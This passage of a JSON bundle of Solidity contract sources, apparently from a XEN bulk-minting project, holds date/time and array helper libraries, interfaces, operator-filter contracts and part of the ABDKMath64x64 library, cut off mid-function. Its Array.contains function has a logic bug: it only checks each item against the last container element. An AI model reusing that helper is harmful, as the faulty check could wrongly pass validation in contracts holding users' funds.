// int N = 4 * L / 146097\n // L = L - (146097 * N + 3) / 4\n // year = 4000 * (L + 1) / 1461001\n // L = L - 1461 * year / 4 + 31\n // month = 80 * L / 2447\n // dd = L - 2447 * month / 80\n // L = month / 11\n // month = month + 2 - 12 * L\n // year = 100 * (N - 49) + year + L\n // ------------------------------------------------------------------------\n function _daysToDate(uint256 _days)\n private\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n int256 __days = int256(_days);\n\n int256 L = __days + 68569 + _OFFSET19700101;\n int256 N = (4 * L) / 146097;\n L = L - (146097 * N + 3) / 4;\n int256 _year = (4000 * (L + 1)) / 1461001;\n L = L - (1461 * _year) / 4 + 31;\n int256 _month = (80 * L) / 2447;\n int256 _day = L - (2447 * _month) / 80;\n L = _month / 11;\n _month = _month + 2 - 12 * L;\n _year = 100 * (N - 49) + _year + L;\n\n year = uint256(_year);\n month = uint256(_month);\n day = uint256(_day);\n }\n\n function timestampFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (uint256 timestamp) {\n timestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY;\n }\n\n function timestampFromDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (uint256 timestamp) {\n timestamp =\n _daysFromDate(year, month, day) *\n _SECONDS_PER_DAY +\n hour *\n _SECONDS_PER_HOUR +\n minute *\n _SECONDS_PER_MINUTE +\n second;\n }\n\n function timestampToDate(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function timestampToDateTime(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n secs = secs % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n second = secs % _SECONDS_PER_MINUTE;\n }\n\n function isValidDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (bool valid) {\n if (year >= 1970 && month > 0 && month <= 12) {\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > 0 && day <= daysInMonth) {\n valid = true;\n }\n }\n }\n\n function isValidDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (bool valid) {\n if (isValidDate(year, month, day)) {\n if (hour < 24 && minute < 60 && second < 60) {\n valid = true;\n }\n }\n }\n\n function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {\n (uint256 year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n leapYear = _isLeapYear(year);\n }\n\n function _isLeapYear(uint256 year) private pure returns (bool leapYear) {\n leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);\n }\n\n function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {\n weekDay = getDayOfWeek(timestamp) <= _DOW_FRI;\n }\n\n function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {\n weekEnd = getDayOfWeek(timestamp) >= _DOW_SAT;\n }\n\n function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {\n (uint256 year, uint256 month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n daysInMonth = _getDaysInMonth(year, month);\n }\n\n function _getDaysInMonth(uint256 year, uint256 month) private pure returns (uint256 daysInMonth) {\n if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {\n daysInMonth = 31;\n } else if (month != 2) {\n daysInMonth = 30;\n } else {\n daysInMonth = _isLeapYear(year) ? 29 : 28;\n }\n }\n\n // 1 = Monday, 7 = Sunday\n function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {\n uint256 _days = timestamp / _SECONDS_PER_DAY;\n dayOfWeek = ((_days + 3) % 7) + 1;\n }\n\n function getYear(uint256 timestamp) internal pure returns (uint256 year) {\n (year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getMonth(uint256 timestamp) internal pure returns (uint256 month) {\n (, month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getDay(uint256 timestamp) internal pure returns (uint256 day) {\n (, , day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getHour(uint256 timestamp) internal pure returns (uint256 hour) {\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n }\n\n function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {\n uint256 secs = timestamp % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n }\n\n function getSecond(uint256 timestamp) internal pure returns (uint256 second) {\n second = timestamp % _SECONDS_PER_MINUTE;\n }\n\n function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year += _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n month += _months;\n year += (month - 1) / 12;\n month = ((month - 1) % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _days * _SECONDS_PER_DAY;\n require(newTimestamp >= timestamp);\n }\n\n function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _hours * _SECONDS_PER_HOUR;\n require(newTimestamp >= timestamp);\n }\n\n function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp >= timestamp);\n }\n\n function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _seconds;\n require(newTimestamp >= timestamp);\n }\n\n function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year -= _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 yearMonth = year * 12 + (month - 1) - _months;\n year = yearMonth / 12;\n month = (yearMonth % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _days * _SECONDS_PER_DAY;\n require(newTimestamp <= timestamp);\n }\n\n function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _hours * _SECONDS_PER_HOUR;\n require(newTimestamp <= timestamp);\n }\n\n function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp <= timestamp);\n }\n\n function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _seconds;\n require(newTimestamp <= timestamp);\n }\n\n function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, , ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, , ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _years = toYear - fromYear;\n }\n\n function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, uint256 fromMonth, ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, uint256 toMonth, ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;\n }\n\n function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {\n require(fromTimestamp <= toTimestamp);\n _days = (toTimestamp - fromTimestamp) / _SECONDS_PER_DAY;\n }\n\n function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {\n require(fromTimestamp <= toTimestamp);\n _hours = (toTimestamp - fromTimestamp) / _SECONDS_PER_HOUR;\n }\n\n function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {\n require(fromTimestamp <= toTimestamp);\n _minutes = (toTimestamp - fromTimestamp) / _SECONDS_PER_MINUTE;\n }\n\n function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {\n require(fromTimestamp <= toTimestamp);\n _seconds = toTimestamp - fromTimestamp;\n }\n}\n"
},
"/contracts/libs/Array.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary Array {\n function idx(uint256[] memory arr, uint256 item) internal pure returns (uint256 i) {\n for (i = 1; i <= arr.length; i++) {\n if (arr[i - 1] == item) {\n return i;\n }\n }\n i = 0;\n }\n\n function addItem(uint256[] storage arr, uint256 item) internal {\n if (idx(arr, item) == 0) {\n arr.push(item);\n }\n }\n\n function removeItem(uint256[] storage arr, uint256 item) internal {\n uint256 i = idx(arr, item);\n if (i > 0) {\n arr[i - 1] = arr[arr.length - 1];\n arr.pop();\n }\n }\n\n function contains(uint256[] memory container, uint256[] memory items) internal pure returns (bool) {\n if (items.length == 0) return true;\n for (uint256 i = 0; i < items.length; i++) {\n bool itemIsContained = false;\n for (uint256 j = 0; j < container.length; j++) {\n itemIsContained = items[i] == container[j];\n }\n if (!itemIsContained) return false;\n }\n return true;\n }\n\n function asSingletonArray(uint256 element) internal pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n return array;\n }\n\n function hasDuplicatesOrZeros(uint256[] memory array) internal pure returns (bool) {\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0) return true;\n for (uint256 j = 0; j < array.length; j++) {\n if (array[i] == array[j] && i != j) return true;\n }\n }\n return false;\n }\n\n function hasRoguesOrZeros(uint256[] memory array) internal pure returns (bool) {\n uint256 _first = array[0];\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0 || array[i] != _first) return true;\n }\n return false;\n }\n}\n"
},
"/contracts/interfaces/IXENTorrent.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENTorrent {\n event StartTorrent(address indexed user, uint256 count, uint256 term);\n event EndTorrent(address indexed user, uint256 tokenId, address to);\n\n function bulkClaimRank(uint256 count, uint256 term) external returns (uint256);\n\n function bulkClaimMintReward(uint256 tokenId, address to) external;\n}\n"
},
"/contracts/interfaces/IXENProxying.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENProxying {\n function callClaimRank(uint256 term) external;\n\n function callClaimMintReward(address to) external;\n\n function powerDown() external;\n}\n"
},
"/contracts/interfaces/IERC2771.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IERC2771 {\n function isTrustedForwarder(address forwarder) external;\n}\n"
},
"operator-filter-registry/src/OperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"./IOperatorFilterRegistry.sol\";\n\n/**\n * @title OperatorFilterer\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function unregister(address addr) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external returns (bool);\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"operator-filter-registry/src/DefaultOperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFilterer} from \"./OperatorFilterer.sol\";\n\n/**\n * @title DefaultOperatorFilterer\n * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.\n */\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}\n"
},
"abdk-libraries-solidity/ABDKMath64x64.sol": {
"content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov <mikhail.vladimirov@gmail.com>\n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with signed\n * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is\n * basically a simple fraction whose numerator is signed 128-bit integer and\n * denominator is 2^64. As long as denominator is always the same, there is no\n * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are\n * represented by int128 type holding only the numerator.\n */\nlibrary ABDKMath64x64 {\n /*\n * Minimum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;\n\n /*\n * Maximum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n /**\n * Convert signed 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromInt (int256 x) internal pure returns (int128) {\n unchecked {\n require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (x << 64);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 64-bit integer number\n * rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64-bit integer number\n */\n function toInt (int128 x) internal pure returns (int64) {\n unchecked {\n return int64 (x >> 64);\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromUInt (uint256 x) internal pure returns (int128) {\n unchecked {\n require (x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (int256 (x << 64));\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into unsigned 64-bit integer\n * number rounding down. Revert on underflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return unsigned 64-bit integer number\n */\n function toUInt (int128 x) internal pure returns (uint64) {\n unchecked {\n require (x >= 0);\n return uint64 (uint128 (x >> 64));\n }\n }\n\n /**\n * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point\n * number rounding down. Revert on overflow.\n *\n * @param x signed 128.128-bin fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function from128x128 (int256 x) internal pure returns (int128) {\n unchecked {\n int256 result = x >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 128.128 fixed point\n * number.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 128.128 fixed point number\n */\n function to128x128 (int128 x) internal pure returns (int256) {\n unchecked {\n return int256 (x) << 64;\n }\n }\n\n /**\n * Calculate x + y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function add (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) + y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x - y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sub (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) - y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding down. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function mul (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) * y >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\n * number and y is signed 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y signed 256-bit integer number\n * @return signed 256-bit integer number\n */\n function muli (int128 x, int256 y) internal pure returns (int256) {\n unchecked {\n if (x == MIN_64x64) {\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\n y <= 0x1000000000000000000000000000000000000000000000000);\n return -y << 63;\n } else {\n bool negativeResult = false;\n if (x < 0) {\n x = -x;\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint256 absoluteResult = mulu (x, uint256 (y));\n if (negativeResult) {\n require (absoluteResult <=\n 0x8000000000000000000000000000000000000000000000000000000000000000);\n return -int256 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int256 (absoluteResult);\n }\n }\n }\n }\n\n /**\n * Calculate x * y rounding down, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y unsigned 256-bit integer number\n * @return unsigned 256-bit integer number\n */\n function mulu (int128 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) return 0;\n\n require (x >= 0);\n\n uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;\n uint256 hi = uint256 (int256 (x)) * (y >> 128);\n\n require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n hi <<= 64;\n\n require (hi <=\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);\n return hi + lo;\n }\n }\n\n /**\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function div (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n int256 result = (int256 (x) << 64) / y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x signed 256-bit integer number\n * @param y signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divi (int256 x, int256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n\n bool negativeResult = false;\n if (x < 0) {\n x = -x; // We rely on overflow behavior here\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\n if (negativeResult) {\n require (absoluteResult <= 0x80000000000000000000000000000000);\n return -int128 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128 (absoluteResult); // We rely on overflow behavior here\n }\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divu (uint256 x, uint256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n uint128 result = divuu (x, y);\n require (result <= uint128 (MAX_64x64));\n return int128 (result);\n }\n }\n\n /**\n * Calculate -x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function neg (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return -x;\n }\n }\n\n /**\n * Calculate |x|. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function abs (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return x < 0 ? -x : x;\n }\n }\n\n /**\n * Calculate 1 / x rounding towards zero. Revert on overflow or when x is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function inv (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != 0);\n int256 result = int256 (0x100000000000000000000000000000000) / x;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function avg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n return int128 ((int256 (x) + int256 (y)) >> 1);\n }\n }\n\n /**\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\n * Revert on overflow or in case x * y is negative.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function gavg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 m = int256 (x) * int256 (y);\n require (m >= 0);\n require (m <\n 0x4000000000000000000000000000000000000000000000000000000000000000);\n return int128 (sqrtu (uint256 (m)));\n }\n }\n\n /**\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y uint256 value\n * @return signed 64.64-bit fixed point number\n */\n function pow (int128 x, uint256 y) internal pure returns (int128) {\n unchecked {\n bool negative = x < 0 && y & 1 == 1;\n\n uint256 absX = uint128 (x < 0 ? -x : x);\n uint256 absResult;\n absResult = 0x100000000000000000000000000000000;\n\n if (absX <= 0x10000000000000000) {\n absX <<= 63;\n while (y != 0) {\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x2 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x4 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x8 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n y >>= 4;\n }\n\n absResult >>= 64;\n } else {\n uint256 absXShift = 63;\n if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }\n if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }\n if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }\n if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }\n if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }\n if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }\n\n uint256 resultShift = 0;\n while (y != 0) {\n require (absXShift < 64);\n\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n resultShift += absXShift;\n if (absResult > 0x100000000000000000000000000000000) {\n absResult >>= 1;\n resultShift += 1;\n }\n }\n absX = absX * absX >> 127;\n absXShift <<= 1;\n if (absX >= 0x100000000000000000000000000000000) {\n absX >>= 1;\n absXShift += 1;\n }\n\n y >>= 1;\n }\n\n require (resultShift < 64);\n absResult >>= 64 - resultShift;\n }\n int256 result = negative ? -int256 (absResult) : int256 (absResult);\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down. Revert if x < 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sqrt (int128 x) internal pure returns (int128) {\n unchecked {\n require (x >= 0);\n return int128 (sqrtu (uint256 (int256 (x)) << 64));\n }\n }\n\n /**\n * Calculate binary logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function log_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n int256 msb = 0;\n int256 xc = x;\n if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n int256 result = msb - 64 << 64;\n uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb);\n for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 